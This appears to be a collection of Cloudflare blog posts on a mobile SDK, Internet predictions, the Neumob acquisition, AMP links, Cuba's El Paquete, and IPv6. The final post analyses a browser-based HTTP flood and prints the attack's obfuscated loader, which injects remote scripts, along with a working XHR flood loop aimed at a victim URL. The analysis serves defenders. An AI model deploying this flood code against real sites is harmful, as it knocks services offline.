All of this is free as in beer, with no cap on active users or metrics tracked. Collecting metrics does not require you use Cloudflare as part of your infrastructure stack, and adds minimal weight to your app APK or IPA. Integration is as simple as including our library, adding one line to your AppDelegate or Gradle config, and building.

Privacy is, and was, top of mind as we built this. Cloudflare Mobile SDK does not collect any persistent identifiers (UDID, IDFA, etc.), and we will never sell the data we collect to any third party.

Interested in giving this a shot?Register for an SDK key here: mobilesdk.cloudflare.com/v2s/signupAnd get docs here: developers.cloudflare.com/mobile-sdk/overview

Public Domain image by Michael Sharpe

I’ll score myself with two points for being correct, one point for mostly right and zero for wrong. That’ll give me a maximum possible score of fourteen. Here goes...

2017-1: 1Tbps DDoS attacks will become the baseline for ‘massive attacks’

This turned out to be true but mostly because massive attacks went away as Layer 3 and Layer 4 DDoS mitigation services got good at filtering out high bandwidth and high packet rates. Over the year we saw many DDoS attacks in the 100s of Gbps (up to 0.5Tbps) and then in September announced Unmetered Mitigation. Almost immediately we saw attackers stop bothering to attack Cloudflare-protected sites with large DDoS.

So, I’ll be generous and give myself one point.

2017-2: The Internet will get faster yet again as protocols like QUIC become more prevalent

Well, yes and no. QUIC has become more prevalent as Google has widely deployed it in the Chrome browser and it accounts for about 7% of Internet traffic. At the same time the protocol is working its way through the IETF standardization process and has yet to be deployed widely outside Google.

So, I’ll award myself one point for this as QUIC did progress but didn’t get as far as I thought.

2017-3: IPv6 will become the defacto for mobile networks and IPv4-only fixed networks will be looked upon as old fashioned

IPv6 continued to grow throughout 2017 and seems to be on a pretty steady trajectory upwards. Although it’s not yet deployed on ¼ of the top 25,000 web sites. Note that the large jump in IPv6 support that occurred in the middle of 2016 when Cloudflare enabled it by default for all our customers.

The Internet Society reported that mobile networks that switch to IPv6 see 70-95% of their traffic use IPv6. Google reports that traffic from Verizon is now 90% IPv6 and T-Mobile is turning off IPv4 completely.

Here I’ll award myself two points.

2017-4: A SHA-1 collision will be announced

That happened on 23 February 2017 with the announcement of an efficient way to generate colliding PDF documents. It’s so efficient that here are two PDFs containing the old and new Cloudflare logos. I generated these two PDFs using a web site that takes two JPEGs, embeds them in two PDFs and makes them collide. It does this instantly.

They have the same SHA-1 hash:

$ shasum *.pdf
e1964edb8bcafc43de6d1d99240e80dfc710fbe1  a.pdf
e1964edb8bcafc43de6d1d99240e80dfc710fbe1  b.pdf

But different SHA-256 hash:

$ shasum -a256 *.pdf
8e984df6f4a63cee798f9f6bab938308ebad8adf67daba349ec856aad07b6406  a.pdf
f20f44527f039371f0aa51bc9f68789262416c5f2f9cefc6ff0451de8378f909  b.pdf

So, two points for getting that right (and thanks, Nick Sullivan, for suggesting it and making me look smart).

2017-5: Layer 7 attacks will rise but Layer 6 won’t be far behind

The one constant of 2017 in terms of DDoS was the prevalence of Layer 7 attacks. Even as attackers decided that large scale Layer 3 and 4 DDoS attacks were being mitigated easily and hence stopped performing them so frequently, Layer 7 attacks continued apace with attacks in the 100s of krps common place.

Awarding myself one point because Layer 6 attacks didn’t materialize as much as predicted.

2017-6: Mobile traffic will account for 60% of all Internet traffic by the end of the year

Ericsson reported mid-year that mobile data traffic was continuing to grow strongly and grew 70% between Q116 and Q117. Stats show that while mobile traffic continued to increase its share of Internet traffic and passed 50% in 2017 it didn’t reach 60%.

Zero points for me.

2017-7: The security of DNS will be taken seriously

This has definitely happened. The 2016 Dyn DNS attack was a wake up call that often overlooked infrastructure was at risk of DDoS attack. In April 2017 Wired reported that hackers took over 36 Brazilian banking web sites by hijacking DNS registration, and in June Mozilla and ICANN proposed encrypting DNS by sending it over HTTPS and the IETF has a working group on what’s now being called doh.

DNSSEC deployment continued with SecSpider showing steady, continuous growth during 2017.

So, two points for me.

Overall, I scored myself a total of 9 out of 14, or 64% right. With that success rate in mind here are my predictions for 2018.

2018-1: By the end of 2018 more than 50% of HTTPS connections will happen over TLS 1.3

The roll out of TLS 1.3 has been stalled because of difficulty in getting it working correctly in the heterogenous Internet environment. Although Cloudflare has had TLS 1.3 in production and available for all customers for over a year only 0.2% of our traffic is currently using that version.

Given the state of standardization of TLS 1.3 today we believe that major browser vendors will enable TLS 1.3 during 2018 and by the end of the year more than 50% of HTTPS connections will be using the latest, most secure version of TLS.

2018-2: Vendor lock-in with Cloud Computing vendors becomes dominant worry for enterprises

In Mary Meeker’s 2017 Internet Trends report she gives on statistics (slide 183) on the top three concerns of users of cloud computing. These show a striking change from being primarily about security and cost to worries about vendor lock-in and compliance. Cloudflare believes that vendor lock-in will become the top concern of users of cloud computing in 2018 and that multi-cloud strategies will become common.

BillForward is already taking a multi-cloud approach with Cloudflare moving traffic dynamically between cloud computing providers. Alongside vendor lock-in, users will name data portability between clouds as a top concern.

2018-3: Deep learning hype will subside as self-driving cars don't become a reality but AI/ML salaries will remain high

Self-driving cars won’t become available in 2018, but AI/ML will remain red hot as every technology company tries to hire appropriate engineering staff and finds they can’t. At the same time deep learning techniques will be widely applied across companies and industries as it becomes clear that these techniques are not limited to game playing, classification, or translation tasks and can be widely applied.

Expect unexpected applications of techniques, that are already in use in Silicon Valley, when they are applied to the rest of the world. Don’t be surprised if there’s talk of AI/ML managed traffic management for highways, for example. Anywhere there's a heuristic we'll see AI/ML applied.

But it’ll take another couple of years for AI/ML to really have profound effects. By 2020 the talent pool will have greatly increased and manufacturers such as Qualcomm, nVidia and Intel will have followed Google’s lead and produced specialized chipsets designed for deep learning and other ML techniques.

2018-4: k8s becomes the dominant platform for cloud computing

A corollary to users’ concerns about cloud vendor lock-in and the need for multi-cloud capability is that an orchestration framework will dominate. We believe that Kubernetes will be that dominant platform and that large cloud vendors will work to ensure compatibility across implementations at the demand of customers.

We are currently in the infancy of k8s deployment with the major cloud computing vendors deploying incompatible versions. We believe that customer demand for portability will cause cloud computer vendors to ensure compatibility.

2018-5: Quantum resistant crypto will be widely deployed in machine-to-machine links across the internet

During 2017 Cloudflare experimented with, and open sourced, quantum-resistant cryptography as part of our implementation of TLS 1.3. Today there is a threat to the security of Internet protocols from quantum computers, and although the threat has not been realized, cryptographers are working on cryptographic schemes that will resist attacks from quantum computers when they arrive.

We predict that quantum-resistant cryptography will become widespread in links between machines and data centers especially where the connections being encrypted cross the public Internet. We don’t predict that quantum-resistant cryptography will be widespread in browsers, however.

2018-6: Mobile traffic will account for 60% of all Internet traffic by the end of the year

Based on the continued trend upwards in mobile traffic I’m predicting that 2018 (instead of 2017) will be the year mobile traffic shoots past 60% of overall Internet traffic. Fingers crossed.

2018-7: Stable BTC/USD exchanges will emerge as others die off from security-based Darwinism

The meteoric rise in the Bitcoin/USD exchange rate has been accompanied by a drumbeat of stories about stolen Bitcoins and failing exchanges. We believe that in 2018 the entire Bitcoin ecosystem will stabilize.

This will partly be through security-based Darwinism as trust in exchanges and wallets that have security problems plummets and those that survive have developed the scale and security to cope with the explosion in Bitcoin transactions and attacks on their services.

It’s tempting to think of the Neumob acquisition as a point product added to the Cloudflare portfolio. But it actually represents a key part of a long term “Super Secret Cloudflare Plan”.

CC BY 2.0 image by Neil Rickards

Over the last few years Cloudflare has been building a large network of data centers across the world to help fulfill our mission of helping to build a better Internet. These data centers all run an identical software stack that implements Cloudflare’s cache, DNS, DDoS, WAF, load balancing, rate limiting, etc.

We’re now at 118 data centers in 58 countries and are continuing to expand with a goal of being as close to end users as possible worldwide.

The data centers are tied together by secure connections which are optimized using our Argo smart routing capability. Our Quicksilver technology enables us to update and modify the settings and software running across this vast network in seconds.

We’ve also been extending the network to reach directly into devices and servers. Our 2014 technology Railgun helped to speed up connections to origin HTTP servers. Our recently announced Warp technology is used to connect servers and services (such as those running inside a Kubernetes cluster) to Cloudflare without having a public HTTP endpoint. Our IoT solution, Orbit, enables smart devices to connect to our network securely.

The goal is that any end device (web browser, mobile application, smart meter, …) should be able to securely connect to our network and have secure, fast communication from device to origin server with every step of the way optimized and secured by Cloudflare.

While we’ve spent a lot of time on the latest encryption and performance technologies for the web browser and server, we had not done the same for mobile applications. That changes with our acquisition of Neumob.

The Neumob software running on your phone changes how a mobile app interacts with an API running on an HTTP server. Without Neumob, that API traffic uses that standard Internet protocols (such as HTTPS) and is prone to be affected negatively by varying performance and availability in mobile networks.

With the Neumob software any API request from a mobile application is sent across an optimized set of protocols to the nearest Cloudflare data center. These optimized protocols are able to handle mobile network variability gracefully and securely.

Cloudflare's Argo then optimizes the route across the long-haul portion of the network to our data center closest to the origin API server. Then Cloudflare's Warp optimizes the path from the edge of our network to the origin server where the application’s API is running. End-to-end, Cloudflare can supercharge and secure the network experience.

Ultimately, the Neumob software is easily extended to operate as a “VPN” for mobile devices that can secure and accelerate all HTTP traffic from a mobile device (including normal web browsing and app API calls). Most VPN software, frankly, is awful. Using a VPN feels like a backward step to the dial up era of obscure error messages, slow downs, and clunky software. It really doesn’t have to be that way.

And in an era where SaaS, PaaS, IaaS and mobile devices have blown up the traditional company ‘perimeter’ the entire concept of a Virtual Private Network is an anachronism.

At the current time the Neumob service has been discontinued as we move their server components onto the Cloudflare network. We’ll soon relaunch it under a new name and make it available to mobile app developers worldwide. Developers of iOS and Android apps will be able to accelerate and protect their applications’ connectivity by adding just two lines of code to take advantage of Cloudflare’s global network.

As a personal note, I’m thrilled that the Neumob team is joining Cloudflare. We’d been tracking their progress and development for a few years and had long wanted to build a Cloudflare Mobile App SDK that would bring the network benefits of Cloudflare right into devices. It became clear that Neumob’s technology and team was world-class and that it made more sense to abandon our own work to build an SDK and adopt theirs.

Cloudflare is hiring to grow the mobile team and is looking for people in San Francisco, Sunnyvale and Austin: iOS Backend Engineer, Android Backend Engineer, Android SDK Engineer, iOS SDK Engineer and Protocol Engineer.

In October 2015, the team at Google announced Accelerated Mobile Pages (AMP), a new, open technology to make the mobile web as fast as native apps. Since then, a large number of publishers have adopted AMP. Today, 600 million pages across 700,000 different domains are available in the AMP format.

The majority of traffic to this AMP content comes from people running searches on Google.com. If a visitor finds content through some source other than a Google search, even if the content can be served from AMP, it typically won't be. As a result, the mobile web continues to be slower than it needs to be.

Cloudflare's Accelerated Mobile Links helps solve this problem, making content, regardless of how it's discovered, app-quick. Once enabled, Accelerated Mobile Links automatically identifies links on a Cloudflare customer's site to content with an AMP version available. If a link is clicked from a mobile device, the AMP content will be loaded nearly instantly.

To see how it works, try viewing this post from your mobile device and clicking any of these links:

• TechCrunch: Cloudflare explains how FBI gag order impacted business

• ZDNet: CloudFlare figured out how to make the Web one second faster

• The Register: CloudFlare apologizes for Telia screwing you over

• AMP 8 Ball: Ask The Amp Magic 8-Ball A Yes Or No Question.

  

One of the benefits of Accelerated Mobile Links is that AMP content is loaded in a viewer directly on the site that linked to the content. As a result, when a reader is done consuming the AMP content closing the viewer returns them to the original source of the link. In that way, every Cloudflare customers' site can be more like a native mobile app, with the corresponding increase in user engagement.

For large publishers that want an even more branded experience, Cloudflare will offer the ability to customize the domain of the viewer to match the publisher's domain. This, for the first time, provides a seamless experience where AMP content can be consumed without having to send visitors to a Google owned domain. If you're a large publisher interested in customizing the Accelerated Mobile Links viewer, you can contact Cloudflare's team.

While Google was the initial champion of AMP, the technologies involved are open. We worked closely with the Google team in developing Cloudflare's Accelerated Mobile Links as well as our own AMP cache. Malte Ubl, the technical lead for the AMP Project at Google said of our collaboration:

"Working with Cloudflare on its AMP caching solution was as seamless as open-source development can be. Cloudflare has become a regular contributor on the project and made the code base better for all users of AMP. It is always a big step for a software project to go from supporting specific caches to many, and it is awesome to see Cloudflare’s elegant solution for this."

Cloudflare now powers the only compliant non-Google AMP cache with all the same performance and security benefits as Google.

In the spirit of open source, we're working to help develop updates to the project to address some of publishers' and end users' concerns. Specifically, here are some features we're developing to address concerns that have been expressed about AMP:

• Easier ways to share AMP content using publisher's original domains

• Automatically redirecting desktop visitors from the AMP version back to the original version of the content

• A way for end users who would prefer not to be redirected to the AMP version of content to opt out

• The ability for publishers to brand the AMP viewer and serve it from their own domain

Cloudflare is committed to the AMP project. Accelerated Mobile Links is the first AMP feature we're releasing, but we'll be doing more over the months to come. As of today, Accelerated Mobile Links is available to all Cloudflare customers for free. You can enable it in your Cloudflare Performance dashboard. Stay tuned for more AMP features that will continue to increase the speed of the mobile web.

Cuba is currently poorly served by the Internet with a small number of public WiFi hotspots. There are currently 175 public WiFi hotspots in the country, many in public parks. In addition, many large hotels also have public WiFi. Since this is the primary way Cubans get Internet access it’s not uncommon to see situations like this:

Getting on the WiFi means buying a card that gives you access for 2 CUC ($2) per hour. These cards have a login number and a password (hidden behind a scratch off panel). The hour can be used in chunks by logging off and on.

There’s also mobile phone access to the Internet (I saw 3G, EDGE and GPRS as I traveled across Cuba), but at 1 CUC ($1) per MB it’s very expensive. The phone company does provide email access (to their own email service) and so some Cubans I met used their phones to get email, but I didn’t come across anyone who used the web on their phone.

I was able to use 3G Internet access from my phone (via my home carrier) but curiously got a certificate error trying to access my CloudFlare email and decided not to proceed and discover why!

The overall story is that currently there is limited access to the Internet but that it is expensive (especially for Cubans).

To work around this problem everyone I spoke to had access to Cuba’s private “CDN”: El Paquete Semanal. El Paquete is a weekly service where someone (typically found through word of mouth) comes to your home with a disk (usually a 1TB external USB drive) containing a weekly download of the most recent films, soap operas, documentaries, sport, music, mobile apps, magazines, and even web sites. For 2 CUC a week Cubans have access to a huge repository of media while turning a blind eye to copyright.

Cubans told me of children waiting anxiously for “El Paquete Day” when they’d get the next set of cartoons, music and shows.

Vox wrote a nice article that describes El Paquete and includes this short film from Cuba and its creation.

. . . . . . . .

Being a nerd I talked for a long time with Cubans about El Paquete and was intrigued when one of them mentioned that “it even includes this week’s antivirus update”. Makes sense when you realize people can’t get the latest update downloaded across the Internet. And more than that it piqued my interest in examining a copy of El Paquete and seeing what was really included.

I managed to get access to El Paquete Semanal for the week of March 21, 2016[1]. This edition of El Paquete is 815.25 GB and contained 14,208 files. It’s an immense effort to update that on a weekly basis.

Here’s the top level directory of El Paquete showing the major categories of media available.

Sure enough, right there is Actualizacion Antivirus which contains antivirus updates for Avast, AVG, Avira, BitDefender, ClamAV, Kaspersky, McAfee, Microsoft Security Essentials, ESET and Norton.

The McAfee update was 8107xdat.exe which was released by McAfee on March 17, 2016. So, just four days later that update was in the hands of Cubans. The ClamAV was from the same date.

I scanned the entire disk with the latest Sophos release and it showed up three infected files: all in the Aplicaciones Para Pc directory (i.e within PC apps). Luckily, all these would have been picked up by the antivirus programs include in El Paquete.

Most stories written about El Paquete talk about the availability of films and TV. I was intrigued by the Revistas directory. It contains magazines and newspapers and is split into two sections (one for international magazines and one for those in Spanish).

The international magazines directory contained 53 high-quality PDFs of recent magazines from the English-speaking world. As can be seen from the sample below the PDFs are up to date for the week in question and include edition 511 of The Economist (cover date March 5). There’s also Cosmopolitan (April), Bloomberg Businessweek (March 14), Maxim (March), New Scientist (March 5), The Week (March 11) and a number of other specialist magazines. Somewhat incongruously there’s the NSFW British Sunday tabloid Sunday Sport.

The Spanish language magazine collection is so large that it is divided into folders and contains 296 magazines. It covers everything from cars to cinema and cooking, health and sports, news and economics, photography, humor, fashion, technology and travel.

I saw many mobile phones based on Android around Cuba (many of them had made their way to Cuba from the US and had US branding; Verizon seemed especially popular). Because most Cubans can't get directly to the Google Play Store to download apps, El Paquete contains a weekly update of Android Apps as apk files.

The Aplicaciones Para Moviles directory contains apps for Android and iOS. There are 59 apk files (for Android) and 19 ipa (for iOS).

The iOS files contain updates for Instagram and WhatsApp as well as Plants vs. Zombies, Subway Surf and Temple Run 2.

For Android there's a wider selection (a lot of games) plus Facebook Messenger, WhatsApp, Yahoo Messenger, and a number of apps for handling office documents.

There are a huge quantity of media files in the copy of El Paquete that I looked at: 4,909 JPEGs, 2,334 MP3 files, 1,804 MP4 files, 219 AVI files, and 74 MKV files covering music, TV (series, documentaries, soaps, sports), films (English-language and Spanish) and an entire section of essentially "Best Of" videos selected from sites like YouTube.

The "Best Of" (called Interesantes Variados) contains things like unboxing videos of new products, popular vloggers, and product reviews.

To get a sense of how up to date the information is I took a look at the English-language films available. One of the films, London Has Fallen, was released on March 4, 2016 in the US and was available in El Paquete on March 21, 2016 with hard-coded Spanish subtitles (it looked like it was filmed in a cinema with a hand-held camera).

Some Cubans mentioned to me that El Paquete was important in daily life for things like finding services, or a place to live, or a job. This is done through the Cuban equivalent of Craigslist or Gumtree called Revolico.

Revolico is a web site with categories for cars, jobs, services, computer equipment and buying and selling pretty much anything. It's available online (just click above) but it's also available in El Paquete.

In a folder called ! Revolico + Odisea + Lay + Highvista there's an ISO file containing an archive of the entire Revolico web site so that it can be browsed without an Internet connection. It's a web site without the web; just open index.html to start browsing.

The ISO file is dated March 18, 2016, making it only three days out of date.

Finally, there's a folder called ! Lo Ultimo [Red de Redes] which contains screenshots of web pages from the Spanish web site melty. This is divided into sections for Celebrities, Cinema, Fashion, Music, Series, Technology and Video Games and each web page is a long JPG.

Of course, none of the links are clickable but the news is readable.

Over time, it's probably inevitable that Cubans end up with direct access to the Internet for a reasonable price and El Paquete will become a historical artifact. Although at 851GB per week you'd need to be downloading at over 11Mbps 24 hours a day, 7 days a week to get the equivalent of El Paquete.

Until then, El Paquete contains a fascinating slice of the Internet without having direct access.

1. I am very grateful to Larry Press, who has written a great deal about Internet access in Cuba and about El Paquete in particular, for helping me review the contents of El Paquete. ↩︎

Early last month Apple announced that all apps submitted to the Apple Store June 1 forward would need to support IPv6-only networking as they transition to IPv6-only network services in iOS 9. Apple reports that “Most apps will not require any changes”, as these existing apps support IPv6 through Apple's NSURLSession and CFNetwork APIs.

Our goal with IPv6, and any other emerging networking technology, is to make it ridiculously easy for our customers to make the transition. Over 2 years ago, we published Eliminating the last reasons to not enable IPv6 in celebration of World IPv6 Day. CloudFlare has been offering full IPv6 support as well as our IPv6-to-IPv4 gateway to all of our customers since 2012.

IPv4 represents a technical limitation, a hard stop to the number of devices that can access the Internet. When the Internet Protocol (IP) was first introduced by Vint Cerf and Bob Kahn in the late 1970s, Internet Protocol Version 4 (IPv4) used a 32-bit (four-byte) number, allowing about 4 billion unique addresses. At the time, IPv4 seemed more than sufficient to power the World Wide Web. On January 31, 2011, the top-level pool of Internet Assigned Numbers Authority (IANA) IPv4 addresses was officially exhausted. On September 24th 2015, The American Registry for Internet Numbers (ARIN) officially ran out of IPv4 addresses.

It was clear well before 2011 that 4 billion addresses would not be nearly enough for all of the people in the world—let alone all of the phones, tablets, TVs, cars, watches, and the upcoming slew of devices that would need to access the Internet. In 1998, the Internet Engineering Task Force (IETF) had formalized IPv4’s successor, IPv6. IPv6 uses a 128-bit address, which theoretically allows for approximately 340 trillion trillion trillion or 340,000,000,000,000,000,000,000,000,000,000,000,000 unique addresses.

So here we are nearly 20 years since IPv6 and… we’re at a little over 10% IPv6 adoption. :/

(source)

The good news, as the graph above indicates, is that the rate of IPv6 adoption has increased significantly; last year being a record year with a 4% increase, according to Google. The way Google derives these numbers is by having a small number of their users execute JavaScript code that tests whether a computer can load URLs over IPv6.

Transitioning from IPv4 to IPv6 is a complex thing to execute on a global scale. When data gets sent through the Internet, packets of data are sent using the IP protocol. Within each packet you have a number of elements besides the payload (the actual data you’re sending), including the source and destination.

In order for the transmission to get to its destination, each device passing it along (clients/servers, routers, firewalls, load balancers, etc) needs to be able to communicate with the other. Traditionally, these devices communicate with IPv4, the universal language on the Internet. IPv6 represents an entirely new language. In order for all of these devices to be able to communicate, they all need to talk IPv6 or have some sort of translator involved.

Translation requires technologies such as NAT64 and DNS64. NAT64 allow IPv6 hosts to communicate with IPv4 servers by creating a NAT-mapping between the IPv6 and the IPv4 address. DNS64 will synthesize AAAA records from A records. DNS64 has some known issues like DNSSEC validation failure (because the DNS server doing the translation is not the owner’s domain server). For service providers, supporting IPv4/IPv6 translation means providing separate IPv4 and IPv6 connectivity thus incurring additional complexity as well as additional operational and administrative costs.

Using IP literals (hard coded IP addresses) in your code is a common pitfall to meeting Apple's IPv6 support requirement. Developers should check their configuration files for any IP literals and replace them with domain names. Literals should not be embedded in protocols either. Although literals may seem unavoidable when using certain low-level APIs in communications protocols like SIP, WebSockets, or P2PP, Apple offers high-level networking frameworks that are easy to implement and less error prone.

Stay away from network preflighting and instead simply attempt to connect to a network resource and gracefully handle failures. Preflighting often attempts to check for Internet connectivity by passing IP addresses to network reachability APIs. This is bad practice both in terms of introducing IP literals in your code and misusing reachability APIs.

For iOS developers, it’s important to review Supporting IPv6 DNS64/NAT64 Networks to ensure code compatibility. Within Apple’s documentation you’ll find a list of IPv4-specific APIs that need to be eliminated, IPv6 equivalents for IPv4 types, system APIs that can synthesize IPv6 addresses, as well as how to set up a local IPv6 DNS64/NAT64 network so you can regularly test for IPv6 DNS64/NAT64 compatibility.

CloudFlare offers a number of IPv6 features that developers can take advantage of during their migration. If your domain is running through CloudFlare, enabling IPv6 support is as simple as enabling IPv6 Compatibility in the dashboard.

Certain legacy IPv4 applications may be able to take advantage of CloudFlare's Pseudo IPv4. Pseudo IPv4 works by adding an HTTP header to requests established over IPv6 with a "pseudo" IPv4 address. Using a hashing algorithm, Pseudo IPv4 will create a Class E IPv4 address which always produces the same output for the same input; the same IPv6 address will always result in the same Pseudo IPv4 address. Using the Class E IP space, we have access to 268,435,456 possible unique IPv4 addresses.

Pseudo IPv4 offers 2 options: Add Header or Overwrite Headers. Add Header will automatically add a header (Cf-Pseudo-IPv4), that can be parsed by software as needed. Overwrite Headers will overwrite the existing Cf-Connecting-IP and X-Forwarded-For headers with a Pseudo IPv4 address. The overwrite option has the advantage (in most cases), of not requiring any software changes. If you choose the overwrite option, we'll append a new header (Cf-Connecting-IPv6) in order to ensure you can still find the actual connecting IP address for debugging.

For iOS developers under the gun to make the transition to IPv6, there are benefits to the move apart from compliance with Apple’s policy. Beyond the inherent security benefits of IPv6 like mandatory IPSec, many companies have seen performance gains as well. Real User Measurement studies conducted by Facebook show IPv6 made their site 10-15 percent faster and LinkedIn realized 40 percent gains on select mobile networks in Europe.

For domains currently running through CloudFlare, since we currently do not enable IPv6 by default you’ll want to go into your account and make sure IPv6 Compatibility is enabled under the Network tab. CloudFlare has been offering rock solid IPv6 since 2012 with one-click IPv6 provisioning, an IPv4-to-IPv6 translation gateway, Pseudo IPv4, and much more. For more information, be sure to check out our IPv6 page: https://www.cloudflare.com/ipv6/

Recently an unusual flood caught our attention. A site reliability engineer on call noticed a large number of HTTP requests being issued against one of our customers.

Here is one of the requests:

POST /js/404.js HTTP/1.1
Host: www.victim.com
Connection: keep-alive
Content-Length: 426
Origin: http://attacksite.com
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI 4LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/42.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://attacksite.com/html/part/86.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8

id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata

We received millions of similar requests, clearly suggesting a flood. Let's take a deeper look at this request.

First, let's note that the headers look legitimate. We often see floods issued by Python or Ruby scripts, with weird Accept-Language or User-Agent headers. But this one doesn't look like it. This request is a proper request issued by a real browser.

Next, notice the request is a POST and contains an Origin header — it was issued by an Ajax (XHR) cross origin call.

Finally, the Referer points to the website which was issuing these queries against our servers. We checked: the URL was correct and the site was reachable.

Browser-based L7 floods have been rumored as a theoretical threat for a long time. Read Nick Sullivan's explanation on how they work.

One of the early mentions was in 2010, when Lavakumar Kuppan proposed abusing browser HTML5 features for DoS. Then in 2013 Jeremiah Grossman and Matt Johansen suggested web advertisements as a distribution vector for the malicious JavaScript. A paper from this year discussed a theoretical cost of such an attack.

Finally, in April it was reported that the Great Cannon distributing JavaScript with a novel method - by injecting raw TCP segments into passing by connections. And just this week a flaw popular image hosting site was used to attack another site.

It seems the biggest difficulty is not in creating the JavaScript — it is in effectively distributing it. Since an efficient distribution vector is crucial in issuing large floods, up until now I haven't seen many sizable browser-based floods.

This is what made the flood described above interesting — it was pretty large, peaking at over 275,000 HTTP requests per second.

To investigate the source of the flood we followed the Referer header. It was an exciting journey.

The web page from the Referer looked like a link farm or an ad aggregator — imagine a couple of dozen blinking and shouting banners centrally on a page, nothing more. For this discussion, let's call this page "the attack site". The page was written in basic HTML and used a couple of simple JavaScript routines. It loaded three small JavaScript files, one of them was called count.js. It contained some not notable document.write statements, followed by 50 new lines and this obfuscated code:

eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-8]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2.3("<0 4=\\"5://6.anotherattacksite.7/8/1/jquery2.1\\"></0>");2.3("<0 4=\\"5://6.anotherattacksite.7/8/1/jquery1.1\\"></0>");',[],9,'script|js|document|writeln|src|http|www|com|css'.split('|'),0,{}))

Pasting it to Js Beautifier revealed the following:

document.writeln("<script src=\"http://www.anotherattacksite.com/css/js/jquery2.js\"></script>");
document.writeln("<script src=\"http://www.anotherattacksite.com/css/js/jquery1.js\"></script>");

It turns out the jquery2.js contained a malicious JavaScript. It wasn't too sophisticated either, here's a snippet:

var t_postdata='id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata';

var t_url8='http://www.victim.com/js/404.js';

function post_send() {
    var xmlHttp=c_xmlHttp();
    xmlHttp.open("POST",t_url8,true);
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlHttp.send(t_postdata);
    r_send();
}

function r_send() {
    setTimeout("post_send()", 50);
}

if(!+[1,]) { //IE下不执行。
    var fghj=1;
} else {
    setTimeout("post_send()", 3000);
}

The malicious script above just launches an XHR in a loop.

On a side note it uses a pretty smart method of detecting IE. We were not aware if(!+[1,]) can be used to detect Internet Explorer 9 and older.

The chart above shows how the flood ramped up over time, with the peak at about 1400 UTC. During that day we received 4.5 billion requests against the targeted domain, issued by 650 thousand unique IP's.

Since the flood was so interesting we wrote a dedicated script and were able to further analyze 17M log lines, about 0.4% of the total requests.

The flood was coming from a single country:

99.8% China
 0.2% other

Our system is able to extract the device type from the user agent — 80% of the requests came from mobile devices:

72% mobile
23% desktop
 5% tablet

The referrer URLs didn't have a clear pattern. The referrer domains were distributed fairly uniformly. Whoever attacked us had a control over a large number of domains:

27.0% http://www.attacksite1.com
10.1% http://www.attacksite2.com
 8.2% http://www.attacksite3.com
 3.7% http://www.attacksite4.com
 1.6% http://www.attacksite5.com
 1.2% http://www.attacksite6.com
 ...

The user agents are notoriously hard to analyze, but we found a couple of interesting ones:

Thunder.Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; MI 2S Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 iThunder
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 F1Browser Yunhai Browser
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.69 Safari/537.36 QQBrowser/9.0.3100.400
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345Explorer/6.1.0.8631
Mozilla/5.0 (Linux; U; Android 4.4.4; zh-CN; MI 3 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.6.2.626 U3/0.8.0 Mobile Safari/534.3

Strings like "iThunder" might indicate the request came from a mobile app. Others like "MetaSr", "F1Browser", "QQBrowser", "2345Explorer" and "UCBrowser" point towards browsers or browser apps popular in China.

This is the part where the hard evidence ends and a speculation begins. There is no way to know for sure why so many mobile devices visited the attack page, but the most plausible distribution vector seems to be an ad network. It seems probable that users were served advertisements containing the malicious JavaScript. This ads were likely showed in iframes in mobile apps, or mobile browsers to people casually browsing the internet.

During the flood we were able to look at the packet traces and we are confident the attack didn't involve a TCP packet injection.

To recap, we think this had happened:

• A user was casually browsing the Internet or opened an app on the smartphone.

• The user was served an iframe with an advertisement.

• The advertisement content was requested from an ad network.

• The ad network forwarded the request to the third-party that won the ad auction.

• Either the third-party website was the "attack page", or it forwarded the user to an "attack page".

• The user was served an attack page containing a malicious JavaScript which launched a flood of XHR requests against CloudFlare servers.

Attacks like this form a new trend. They present a great danger in the internet — defending against this type of flood is not easy for small website operators. The good news is CloudFlare handles these attacks easily and automatically without the flood of HTTP requests ever hitting our customers' infrastructure.

While it’s still early days of our research, we hope publicizing the details will help to advance public knowledge and, hopefully, help others affected.

